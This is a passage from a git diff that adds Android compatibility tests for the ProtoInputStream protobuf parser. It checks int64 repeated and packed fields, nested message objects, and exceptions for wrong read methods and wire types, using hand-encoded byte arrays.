+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+ // 8 -> Long.MAX_VALUE
+ (byte) 0x40,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x30,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x38,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[][] results = new long[7][2];
+ int[] indices = new int[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ assertEquals(Long.MIN_VALUE, results[5][0]);
+ assertEquals(Long.MIN_VALUE, results[5][1]);
+ assertEquals(Long.MAX_VALUE, results[6][0]);
+ assertEquals(Long.MAX_VALUE, results[6][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new long[0]);
+ testRepeatedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(long[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_INT64;
+ final long FIELD_ID = fieldFlags | ((long) 41 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.int64FieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long[] result = new long[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.int64FieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.int64FieldRepeated[i], result[i]);
+ }
+ }
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_INT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x02,
+ (byte) 0x00,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x02,
+ (byte) 0x01,
+ (byte) 0x01,
+
+ // 8 -> Long.MAX_VALUE
+ (byte) 0x42,
+ (byte) 0x12,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+ // 3 -> -1
+ (byte) 0x1a,
+ (byte) 0x14,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x22,
+ (byte) 0x14,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2a,
+ (byte) 0x0a,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x32,
+ (byte) 0x14,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x3a,
+ (byte) 0x12,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[][] results = new long[7][2];
+ int[] indices = new int[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ assertEquals(Long.MIN_VALUE, results[5][0]);
+ assertEquals(Long.MIN_VALUE, results[5][1]);
+ assertEquals(Long.MAX_VALUE, results[6][0]);
+ assertEquals(Long.MAX_VALUE, results[6][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new long[0]);
+ testPackedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testPackedCompat(long[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_INT64;
+ final long FIELD_ID = fieldFlags | ((long) 42 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.int64FieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long[] result = new long[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.int64FieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.int64FieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readInt(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readLong(FIELD_ID_1);
+ // don't fail, varint is ok
+ break;
+ case (int) FIELD_ID_2:
+ pi.readLong(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readLong(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed int64)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readLong(FIELD_ID_6);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamObjectTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamObjectTest.java
new file mode 100644
index 0000000..24e0948
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamObjectTest.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamObjectTest extends TestCase {
+
+
+ class SimpleObject {
+ public char mChar;
+ public char mLargeChar;
+ public String mString;
+ public SimpleObject mNested;
+
+ void parseProto(ProtoInputStream pi) throws IOException {
+ final long uintFieldFlags =
+ ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+ final long stringFieldFlags =
+ ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_STRING;
+ final long messageFieldFlags =
+ ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+ final long CHAR_ID = uintFieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long LARGE_CHAR_ID = uintFieldFlags | ((long) 5000 & 0x0ffffffffL);
+ final long STRING_ID = stringFieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long NESTED_ID = messageFieldFlags | ((long) 5 & 0x0ffffffffL);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) CHAR_ID:
+ mChar = (char) pi.readInt(CHAR_ID);
+ break;
+ case (int) LARGE_CHAR_ID:
+ mLargeChar = (char) pi.readInt(LARGE_CHAR_ID);
+ break;
+ case (int) STRING_ID:
+ mString = pi.readString(STRING_ID);
+ break;
+ case (int) NESTED_ID:
+ long token = pi.start(NESTED_ID);
+ mNested = new SimpleObject();
+ mNested.parseProto(pi);
+ pi.end(token);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ }
+
+ }
+
+ /**
+ * Test reading an object with one char in it.
+ */
+ public void testObjectOneChar() throws IOException {
+ testObjectOneChar(0);
+ testObjectOneChar(1);
+ testObjectOneChar(5);
+ }
+
+ /**
+ * Implementation of testObjectOneChar for a given chunkSize.
+ */
+ private void testObjectOneChar(int chunkSize) throws IOException {
+ final long messageFieldFlags =
+ ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+
+ final long MESSAGE_ID_1 = messageFieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long MESSAGE_ID_2 = messageFieldFlags | ((long) 2 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // Message 2 : { char 2 : 'c' }
+ (byte) 0x12, (byte) 0x02, (byte) 0x10, (byte) 0x63,
+ // Message 1 : { char 2 : 'b' }
+ (byte) 0x0a, (byte) 0x02, (byte) 0x10, (byte) 0x62,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+
+ SimpleObject result = null;
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) MESSAGE_ID_1:
+ final long token = pi.start(MESSAGE_ID_1);
+ result = new SimpleObject();
+ result.parseProto(pi);
+ pi.end(token);
+ break;
+ case (int) MESSAGE_ID_2:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertNotNull(result);
+ assertEquals('b', result.mChar);
+ }
+
+ /**
+ * Test reading an object with one multibyte unicode char in it.
+ */
+ public void testObjectOneLargeChar() throws IOException {
+ testObjectOneLargeChar(0);
+ testObjectOneLargeChar(1);
+ testObjectOneLargeChar(5);
+ }
+
+ /**
+ * Implementation of testObjectOneLargeChar for a given chunkSize.
+ */
+ private void testObjectOneLargeChar(int chunkSize) throws IOException {
+ final long messageFieldFlags =
+ ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+
+ final long MESSAGE_ID_1 = messageFieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long MESSAGE_ID_2 = messageFieldFlags | ((long) 2 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // Message 2 : { char 5000 : '\u3110' }
+ (byte) 0x12, (byte) 0x05, (byte) 0xc0, (byte) 0xb8,
+ (byte) 0x02, (byte) 0x90, (byte) 0x62,
+ // Message 1 : { char 5000 : '\u3110' }
+ (byte) 0x0a, (byte) 0x05, (byte) 0xc0, (byte) 0xb8,
+ (byte) 0x02, (byte) 0x90, (byte) 0x62,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+
+ SimpleObject result = null;
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) MESSAGE_ID_1:
+ final long token = pi.start(MESSAGE_ID_1);
+ result = new SimpleObject();
+ result.parseProto(pi);
+ pi.end(token);
+ break;
+ case (int) MESSAGE_ID_2:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertNotNull(result);
+ assertEquals('\u3110', result.mLargeChar);
+ }
+
+ /**
+ * Test reading a char, then an object, then a char.
+ */
+ public void testObjectAndTwoChars() throws IOException {
+ testObjectAndTwoChars(0);
+ testObjectAndTwoChars(1);
+ testObjectAndTwoChars(5);
+ }
+
+ /**
+ * Implementation of testObjectAndTwoChars for a given chunkSize.
+ */
+ private void testObjectAndTwoChars(int chunkSize) throws IOException {
+ final long uintFieldFlags =
+ ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+ final long messageFieldFlags =
+ ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+
+ final long CHAR_ID_1 = uintFieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long MESSAGE_ID_2 = messageFieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long CHAR_ID_4 = uintFieldFlags | ((long) 4 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 'a'
+ (byte)0x08, (byte)0x61,
+ // Message 1 : { char 2 : 'b' }
+ (byte) 0x12, (byte) 0x02, (byte) 0x10, (byte) 0x62,
+ // 4 -> 'c'
+ (byte)0x20, (byte)0x63,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+
+ SimpleObject obj = null;
+ char char1 = '\0';
+ char char4 = '\0';
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) CHAR_ID_1:
+ char1 = (char) pi.readInt(CHAR_ID_1);
+ break;
+ case (int) MESSAGE_ID_2:
+ final long token = pi.start(MESSAGE_ID_2);
+ obj = new SimpleObject();
+ obj.parseProto(pi);
+ pi.end(token);
+ break;
+ case (int) CHAR_ID_4:
+ char4 = (char) pi.readInt(CHAR_ID_4);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals('a', char1);
+ assertNotNull(obj);
+ assertEquals('b', obj.mChar);
+ assertEquals('c', char4);
+ }
+
+ /**
+ * Test reading a char, then an object with an int and a string in it, then a char.
+ */
+ public void testComplexObject() throws IOException {
+ testComplexObject(0);
+ testComplexObject(1);
+ testComplexObject(5);
+ }
+
+ /**
+ * Implementation of testComplexObject for a given chunkSize.
+ */
+ private void testComplexObject(int chunkSize) throws IOException {
+ final long uintFieldFlags =
+ ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+ final long messageFieldFlags =
+ ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+
+ final long CHAR_ID_1 = uintFieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long MESSAGE_ID_2 = messageFieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long CHAR_ID_4 = uintFieldFlags | ((long) 4 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 'x'
+ (byte)0x08, (byte)0x78,
+ // begin object 2
+ (byte)0x12, (byte)0x10,
+ // 2 -> 'y'
+ (byte)0x10, (byte)0x79,
+ // 4 -> "abcdefghijkl"
+ (byte)0x22, (byte)0x0c,
+ (byte)0x61, (byte)0x62, (byte)0x63, (byte)0x64, (byte)0x65, (byte)0x66,
+ (byte)0x67, (byte)0x68, (byte)0x69, (byte)0x6a, (byte)0x6b, (byte)0x6c,
+ // 4 -> 'z'
+ (byte)0x20, (byte)0x7a,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+
+ SimpleObject obj = null;
+ char char1 = '\0';
+ char char4 = '\0';
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) CHAR_ID_1:
+ char1 = (char) pi.readInt(CHAR_ID_1);
+ break;
+ case (int) MESSAGE_ID_2:
+ final long token = pi.start(MESSAGE_ID_2);
+ obj = new SimpleObject();
+ obj.parseProto(pi);
+ pi.end(token);
+ break;
+ case (int) CHAR_ID_4:
+ char4 = (char) pi.readInt(CHAR_ID_4);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals('x', char1);
+ assertNotNull(obj);
+ assertEquals('y', obj.mChar);
+ assertEquals("abcdefghijkl", obj.mString);
+ assertEquals('z', char4);
+ }
+
+ /**
+ * Test reading 3 levels deep of objects.
+ */
+ public void testDeepObjects() throws IOException {
+ testDeepObjects(0);
+ testDeepObjects(1);
+ testDeepObjects(5);
+ }
+
+ /**
+ * Implementation of testDeepObjects for a given chunkSize.
+ */
+ private void testDeepObjects(int chunkSize) throws IOException {
+ final long messageFieldFlags =
+ ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+ final long MESSAGE_ID_2 = messageFieldFlags | ((long) 2 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // begin object id 2
+ (byte)0x12, (byte)0x1a,
+ // 2 -> 'a'
+ (byte)0x10, (byte)0x61,
+ // begin nested object id 5
+ (byte)0x2a, (byte)0x15,
+ // 5000 -> '\u3110'
+ (byte) 0xc0, (byte) 0xb8,
+ (byte) 0x02, (byte) 0x90, (byte) 0x62,
+ // begin nested object id 5
+ (byte)0x2a, (byte)0x0e,
+ // 4 -> "abcdefghijkl"
+ (byte)0x22, (byte)0x0c,
+ (byte)0x61, (byte)0x62, (byte)0x63, (byte)0x64, (byte)0x65, (byte)0x66,
+ (byte)0x67, (byte)0x68, (byte)0x69, (byte)0x6a, (byte)0x6b, (byte)0x6c,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+
+ SimpleObject obj = null;
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) MESSAGE_ID_2:
+ final long token = pi.start(MESSAGE_ID_2);
+ obj = new SimpleObject();
+ obj.parseProto(pi);
+ pi.end(token);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertNotNull(obj);
+ assertEquals('a', obj.mChar);
+ assertNotNull(obj.mNested);
+ assertEquals('\u3110', obj.mNested.mLargeChar);
+ assertNotNull(obj.mNested.mNested);
+ assertEquals("abcdefghijkl", obj.mNested.mNested.mString);
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_MESSAGE;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> {1}
+ (byte) 0x0a,
+ (byte) 0x01,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readInt(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readLong(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
